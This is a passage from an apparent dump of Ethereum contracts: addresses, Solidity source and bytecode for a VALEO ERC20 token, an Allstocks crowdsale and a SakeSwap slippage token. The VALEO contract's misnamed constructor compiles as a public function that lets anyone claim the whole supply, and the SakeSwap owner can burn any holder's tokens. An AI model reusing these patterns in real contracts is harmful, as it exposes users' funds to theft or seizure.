6b6c69737460448201526265642160e81b60648201526084016105ff565b6015546001600160a01b03838116911614610ef15760175481610e8e84610878565b610e989190611b05565b10610ef15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ff565b6000610efc30610878565b601854601654919250821015908210610f155760165491505b808015610f2c5750601554600160a81b900460ff16155b8015610f4657506015546001600160a01b03868116911614155b8015610f5b5750601554600160b01b900460ff165b15610f7b57610f6982611183565b478015610f7957610f79476110c5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fc057506001600160a01b03831660009081526005602052604090205460ff165b80610ff257506015546001600160a01b03858116911614801590610ff257506015546001600160a01b03848116911614155b15610fff57506000611079565b6015546001600160a01b03858116911614801561102a57506014546001600160a01b03848116911614155b1561103c57600854600c55600954600d555b6015546001600160a01b03848116911614801561106757506014546001600160a01b03858116911614155b1561107957600a54600c55600b54600d555b6110858484848461130c565b50505050565b600081848411156110af5760405162461bcd60e51b81526004016105ff91906118c6565b5060006110bc8486611b1d565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610670573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ff565b600061117061133a565b905061117c838261135d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cb576111cb611abe565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121f57600080fd5b505afa158015611233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112579190611b34565b8160018151811061126a5761126a611abe565b6001600160a01b0392831660209182029290920101526014546112909130911684610a64565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c9908590600090869030904290600401611b51565b600060405180830381600087803b1580156112e357600080fd5b505af11580156112f7573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113195761131961139f565b6113248484846113cd565b8061108557611085600e54600c55600f54600d55565b60008060006113476114c4565b9092509050611356828261135d565b9250505090565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611508565b600c541580156113af5750600d54155b156113b657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113df87611536565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114119087611593565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144090866115d5565b6001600160a01b03891660009081526002602052604090205561146281611634565b61146c848361167e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114b191815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114e1828261135d565b8210156114ff5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115295760405162461bcd60e51b81526004016105ff91906118c6565b5060006110bc8486611bc2565b60008060008060008060008060006115538a600c54600d546116a2565b925092509250600061156361133a565b905060008060006115768e8787876116f7565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108b565b6000806115e28385611b05565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ff565b600061163e61133a565b9050600061164c8383611747565b3060009081526002602052604090205490915061166990826115d5565b30600090815260026020526040902055505050565b60065461168b9083611593565b60065560075461169b90826115d5565b6007555050565b60008080806116bc60646116b68989611747565b9061135d565b905060006116cf60646116b68a89611747565b905060006116e7826116e18b86611593565b90611593565b9992985090965090945050505050565b60008080806117068886611747565b905060006117148887611747565b905060006117228888611747565b90506000611734826116e18686611593565b939b939a50919850919650505050505050565b60008261175657506000610685565b60006117628385611be4565b90508261176f8583611bc2565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ff565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087557600080fd5b80356117fc816117dc565b919050565b6000602080838503121561181457600080fd5b823567ffffffffffffffff8082111561182c57600080fd5b818501915085601f83011261184057600080fd5b813581811115611852576118526117c6565b8060051b604051601f19603f83011681018181108582111715611877576118776117c6565b60405291825284820192508381018501918883111561189557600080fd5b938501935b828510156118ba576118ab856117f1565b8452938501939285019261189a565b98975050505050505050565b600060208083528351808285015260005b818110156118f3578581018301518582016040015282016118d7565b81811115611905576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561192e57600080fd5b8235611939816117dc565b946020939093013593505050565b60008060006060848603121561195c57600080fd5b8335611967816117dc565b92506020840135611977816117dc565b929592945050506040919091013590565b803580151581146117fc57600080fd5b600080604083850312156119ab57600080fd5b82356119b6816117dc565b91506119c460208401611988565b90509250929050565b6000602082840312156119df57600080fd5b813561117c816117dc565b6000602082840312156119fc57600080fd5b61117c82611988565b600060208284031215611a1757600080fd5b5035919050565b60008060008060808587031215611a3457600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611a6357600080fd5b8235611a6e816117dc565b91506020830135611a7e816117dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611afe57611afe611ad4565b5060010190565b60008219821115611b1857611b18611ad4565b500190565b600082821015611b2f57611b2f611ad4565b500390565b600060208284031215611b4657600080fd5b815161117c816117dc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba15784516001600160a01b031683529383019391830191600101611b7c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611bdf57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611bfe57611bfe611ad4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209422a3957ce84b9781dbda05de338c43e1f2b74d90a396959bd801d8ec360f5e64736f6c63430008090033
[ 13 ]
0xf21ed2a554d3fcc7b7c88f463b314a227caea7bf
pragma solidity ^0.4.21 ; contract VALEO_301202 { mapping (address => uint256) public balanceOf; string public name = " VALEO_301202 " ; string public symbol = " VALEII " ; uint8 public decimals = 18 ; uint256 public totalSupply = 11287331013060800000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058206c036bdb63badda12c20443763e0ea3a26503e3d808313c31b80862aa2bad0d50029
[ 38 ]
0xf21edc87a7c56355802d78009a1498be090f7840
pragma solidity 0.4.23; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint256); function balanceOf(address tokenOwner) public constant returns (uint256 balance); function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); function mint(address _to, uint256 _amount) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); require(owner == msg.sender); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title AllstocksCrowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract AllstocksCrowdsale is Owned { using SafeMath for uint256; // The token being sold //ERC20Interface public token; address public token; // Address where funds are collected address public ethFundDeposit; // How many token units a buyer gets per wei // starts with 625 Allstocks tokens per 1 ETH uint256 public tokenExchangeRate = 625; // 25m hard cap uint256 public tokenCreationCap = 25 * (10**6) * 10**18; // 25m maximum; //2.5m softcap uint256 public tokenCreationMin = 25 * (10**5) * 10**18; // 2.5m minimum // Amount of wei raised uint256 public _raised = 0; // switched to true in after setup bool public isActive = false; //start time uint256 public fundingStartTime = 0; //end time uint256 public fundingEndTime = 0; // switched to true in operational state bool public isFinalized = false; //refund list - will hold a list of all contributers mapping(address => uint256) public refunds; /** * Event for token Allocate logging * @param allocator for the tokens * @param beneficiary who got the tokens * @param amount amount of tokens purchased */ event TokenAllocated(address indexed allocator, address indexed beneficiary, uint256 amount); event LogRefund(address indexed _to, uint256 _value); constructor() public { tokenExchangeRate = 625; } function setup (uint256 _fundingStartTime, uint256 _fundingEndTime, address _token) onlyOwner external { require (isActive == false); require (isFinalized == false); require (msg.sender == owner); // locks finalize to the ultimate ETH owner require(_fundingStartTime > 0); require(_fundingEndTime > 0 && _fundingEndTime > _fundingStartTime); require(_token != address(0)); isFinalized = false; // controls pre through crowdsale state isActive = true; // set sale status to be true ethFundDeposit = owner; // set ETH wallet owner fundingStartTime = _fundingStartTime; fundingEndTime = _fundingEndTime; //set token token = _token; } /// @dev send funding to safe wallet if minimum is reached function vaultFunds() public onlyOwner { require(msg.sender == owner); // Allstocks double chack require(_raised >= tokenCreationMin); // have to sell minimum to move to operational ethFundDeposit.transfer(address(this).balance); // send the eth to Allstocks } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender, msg.value); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary, uint256 _value) internal { _preValidatePurchase(_beneficiary, _value); // calculate token amount to be created uint256 tokens = _getTokenAmount(_value); // update state uint256 checkedSupply = _raised.add(tokens); //check that we are not over cap require(checkedSupply <= tokenCreationCap); _raised = checkedSupply; bool mined = ERC20Interface(token).mint(_beneficiary, tokens); require(mined); //add sent eth to refunds list refunds[_beneficiary] = _value.add(refunds[_beneficiary]); // safeAdd emit TokenAllocated(this, _beneficiary, tokens); // log it //forward funds to deposite only in minimum was reached if(_raised >= tokenCreationMin) { _forwardFunds(); } } // @dev method for manageing bonus phases function setRate(uint256 _value) external onlyOwner { require (isActive == true); require(msg.sender == owner); // Allstocks double check owner // Range is set between 500 to 625, based on the bonus program stated in whitepaper. // Upper range is set to 1500 (x3 times margin based on ETH price) . require (_value >= 500 && _value <= 1500); tokenExchangeRate = _value; } // @dev method for allocate tokens to beneficiary account function allocate(address _beneficiary, uint256 _value) public onlyOwner returns (bool success) { require (isActive == true); // sale have to be active require (_value > 0); // value must be greater then 0 require (msg.sender == owner); // Allstocks double chack require(_beneficiary != address(0)); // none empty address uint256 checkedSupply = _raised.add(_value); require(checkedSupply <= tokenCreationCap); //check that we dont over cap _raised = checkedSupply; bool sent = ERC20Interface(token).mint(_beneficiary, _value); // mint using ERC20 interface require(sent); emit TokenAllocated(this, _beneficiary, _value); // log it return true; } //claim back token ownership function transferTokenOwnership(address _newTokenOwner) public onlyOwner { require(_newTokenOwner != address(0)); require(owner == msg.sender); Owned(token).transferOwnership(_newTokenOwner); } /// @dev Allows contributors to recover their ether in the case of a failed funding campaign. function refund() external { require (isFinalized == false); // prevents refund if operational require (isActive == true); // only if sale is active require (now > fundingEndTime); // prevents refund until sale period is over require(_raised < tokenCreationMin); // no refunds if we sold enough require(msg.sender != owner); // Allstocks not entitled to a refund //get contribution amount in eth uint256 ethValRefund = refunds[msg.sender]; //refund should be greater then zero require(ethValRefund > 0); //zero sender refund balance refunds[msg.sender] = 0; //check user balance uint256 allstocksVal = ERC20Interface(token).balanceOf(msg.sender); //substruct from total raised - please notice main assumption is that tokens are not tradeble at this stage. _raised = _raised.sub(allstocksVal); // extra safe //send eth back to user msg.sender.transfer(ethValRefund); // if you're using a contract; make sure it works with .send gas limits emit LogRefund(msg.sender, ethValRefund); // log it } /// @dev Ends the funding period and sends the ETH home function finalize() external onlyOwner { require (isFinalized == false); require(msg.sender == owner); // Allstocks double chack require(_raised >= tokenCreationMin); // have to sell minimum to move to operational require(_raised > 0); if (now < fundingEndTime) { //if try to close before end time, check that we reach max cap require(_raised >= tokenCreationCap); } else require(now >= fundingEndTime); //allow finilize only after time ends //transfer token ownership back to original owner transferTokenOwnership(owner); // move to operational isFinalized = true; vaultFunds(); // send the eth to Allstocks } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) view internal { require(now >= fundingStartTime); require(now < fundingEndTime); require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(tokenExchangeRate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { ethFundDeposit.transfer(msg.value); } }
0x6080604052600436106101115763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663080fbebf811461011d5780631df935581461014457806321e6b53d1461016b57806322f3e2d41461018c57806334fcf437146101b55780633aa51e41146101cd5780634172d080146101e25780634bb278f3146101f7578063590e1ae31461020c5780636f7920fd1461022157806374eedd46146102365780638d4e40831461024b5780638da5cb5b14610260578063a81c3bdf14610291578063b78b52df146102a6578063bc3da535146102ca578063c039daf6146102eb578063f2fde38b14610300578063f5ac631914610321578063fc0c546a14610336575b61011b333461034b565b005b34801561012957600080fd5b5061011b600435602435600160a060020a03604435166104d5565b34801561015057600080fd5b506101596105ca565b60408051918252519081900360200190f35b34801561017757600080fd5b5061011b600160a060020a03600435166105d0565b34801561019857600080fd5b506101a1610696565b604080519115158252519081900360200190f35b3480156101c157600080fd5b5061011b60043561069f565b3480156101d957600080fd5b5061011b61070d565b3480156101ee57600080fd5b50610159610792565b34801561020357600080fd5b5061011b610798565b34801561021857600080fd5b5061011b610859565b34801561022d57600080fd5b50610159610a18565b34801561024257600080fd5b50610159610a1e565b34801561025757600080fd5b506101a1610a24565b34801561026c57600080fd5b50610275610a2d565b60408051600160a060020a039092168252519081900360200190f35b34801561029d57600080fd5b50610275610a3c565b3480156102b257600080fd5b506101a1600160a060020a0360043516602435610a4b565b3480156102d657600080fd5b50610159600160a060020a0360043516610be5565b3480156102f757600080fd5b50610159610bf7565b34801561030c57600080fd5b5061011b600160a060020a0360043516610bfd565b34801561032d57600080fd5b50610159610cb0565b34801561034257600080fd5b50610275610cb6565b600080600061035a8585610cc5565b61036384610d07565b600654909350610379908463ffffffff610d2416565b60045490925082111561038b57600080fd5b6006829055600154604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015260248201879052915191909216916340c10f199160448083019260209291908290030181600087803b1580156103ff57600080fd5b505af1158015610413573d6000803e3d6000fd5b505050506040513d602081101561042957600080fd5b5051905080151561043957600080fd5b600160a060020a0385166000908152600b602052604090205461046390859063ffffffff610d2416565b600160a060020a038087166000818152600b60209081526040918290209490945580518781529051919330909316927f918348ece72b49a58054829fde7465a1e06386019b2a981c2daee97b0f795ede92918290030190a3600554600654106104ce576104ce610d3e565b5050505050565b60005433600160a060020a039081169116146104f057600080fd5b60075460ff161561050057600080fd5b600a5460ff161561051057600080fd5b60005433600160a060020a0390811691161461052b57600080fd5b6000831161053857600080fd5b60008211801561054757508282115b151561055257600080fd5b600160a060020a038116151561056757600080fd5b600a805460ff1990811690915560078054909116600190811790915560005460028054600160a060020a0392831673ffffffffffffffffffffffffffffffffffffffff199182161790915560089590955560099390935580549093169116179055565b60085481565b60005433600160a060020a039081169116146105eb57600080fd5b600160a060020a038116151561060057600080fd5b60005433600160a060020a0390811691161461061b57600080fd5b600154604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152600160a060020a0384811660048301529151919092169163f2fde38b91602480830192600092919082900301818387803b15801561068257600080fd5b505af11580156104ce573d6000803e3d6000fd5b60075460ff1681565b60005433600160a060020a039081169116146106ba57600080fd5b60075460ff1615156001146106ce57600080fd5b60005433600160a060020a039081169116146106e957600080fd5b6101f481101580156106fd57506105dc8111155b151561070857600080fd5b600355565b60005433600160a060020a0390811691161461072857600080fd5b60005433600160a060020a0390811691161461074357600080fd5b600554600654101561075457600080fd5b600254604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015801561078f573d6000803e3d6000fd5b50565b60035481565b60005433600160a060020a039081169116146107b357600080fd5b600a5460ff16156107c357600080fd5b60005433600160a060020a039081169116146107de57600080fd5b60055460065410156107ef57600080fd5b6006546000106107fe57600080fd5b60095442101561081e57600454600654101561081957600080fd5b61082d565b60095442101561082d57600080fd5b60005461084290600160a060020a03166105d0565b600a805460ff1916600117905561085761070d565b565b600a54600090819060ff161561086e57600080fd5b60075460ff16151560011461088257600080fd5b600954421161089057600080fd5b600554600654106108a057600080fd5b60005433600160a060020a03908116911614156108bc57600080fd5b600160a060020a0333166000908152600b6020526040812054925082116108e257600080fd5b600160a060020a033381166000818152600b6020908152604080832083905560015481517f70a08231000000000000000000000000000000000000000000000000000000008152600481019590955290519416936370a0823193602480820194918390030190829087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b505050506040513d602081101561098357600080fd5b505160065490915061099b908263ffffffff610d7716565b600655604051600160a060020a0333169083156108fc029084906000818181858888f193505050501580156109d4573d6000803e3d6000fd5b50604080518381529051600160a060020a033316917fb6c0eca8138e097d71e2dd31e19a1266487f0553f170b7260ffe68bcbe9ff8a7919081900360200190a25050565b60045481565b60095481565b600a5460ff1681565b600054600160a060020a031681565b600254600160a060020a031681565b600080548190819033600160a060020a03908116911614610a6b57600080fd5b60075460ff161515600114610a7f57600080fd5b60008411610a8c57600080fd5b60005433600160a060020a03908116911614610aa757600080fd5b600160a060020a0385161515610abc57600080fd5b600654610acf908563ffffffff610d2416565b600454909250821115610ae157600080fd5b6006829055600154604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015260248201889052915191909216916340c10f199160448083019260209291908290030181600087803b158015610b5557600080fd5b505af1158015610b69573d6000803e3d6000fd5b505050506040513d6020811015610b7f57600080fd5b50519050801515610b8f57600080fd5b84600160a060020a031630600160a060020a03167f918348ece72b49a58054829fde7465a1e06386019b2a981c2daee97b0f795ede866040518082815260200191505060405180910390a3506001949350505050565b600b6020526000908152604090205481565b60055481565b60005433600160a060020a03908116911614610c1857600080fd5b600160a060020a0381161515610c2d57600080fd5b60005433600160a060020a03908116911614610c4857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065481565b600154600160a060020a031681565b600854421015610cd457600080fd5b6009544210610ce257600080fd5b600160a060020a0382161515610cf757600080fd5b801515610d0357600080fd5b5050565b6000610d1e60035483610d8990919063ffffffff16565b92915050565b600082820183811015610d3357fe5b8091505b5092915050565b600254604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561078f573d6000803e3d6000fd5b600082821115610d8357fe5b50900390565b600080831515610d9c5760009150610d37565b50828202828482811515610dac57fe5b0414610d3357fe00a165627a7a723058201c33262d42051211ecc64c850de6aa1cd460e5411e1d63713862e227b2880fdd0029
[ 7 ]
0xf220b808807bc66062fd6eaddff846268a5d4b30
// File: contracts\sakeswap\libraries\SafeMath.sol // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts\sakeswap\SakeSwapSlippageToken.sol pragma solidity =0.6.12; contract SakeSwapSlippageToken { using SafeMath for uint; string public constant name = "SakeSwap Slippage Token"; string public constant symbol = "SST"; uint8 public constant decimals = 18; uint public totalSupply; address private _owner; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); modifier onlyOwner() { require(_owner == msg.sender, "SlippageToken: Not Owner"); _; } constructor(uint initialSupply) public { _owner = msg.sender; _mint(msg.sender, initialSupply); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function mint(address to, uint value) external onlyOwner returns (bool) { _mint(to, value); return true; } function burn(address from, uint value) external onlyOwner returns (bool) { _burn(from, value); return true; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806340c10f191161007157806340c10f19146101d957806370a082311461020557806395d89b411461022b5780639dc29fac14610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b0381351690602001356102f2565b604080519115158252519081900360200190f35b610173610309565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b0381358116916020810135909116906040013561030f565b6101c36103a3565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b0381351690602001356103a8565b6101736004803603602081101561021b57600080fd5b50356001600160a01b031661040f565b6100b6610421565b6101576004803603604081101561024957600080fd5b506001600160a01b038135169060200135610440565b6101576004803603604081101561027557600080fd5b506001600160a01b0381351690602001356104a7565b610173600480360360408110156102a157600080fd5b506001600160a01b03813581169160200135166104b4565b6040518060400160405280601781526020017f53616b655377617020536c69707061676520546f6b656e00000000000000000081525081565b60006102ff3384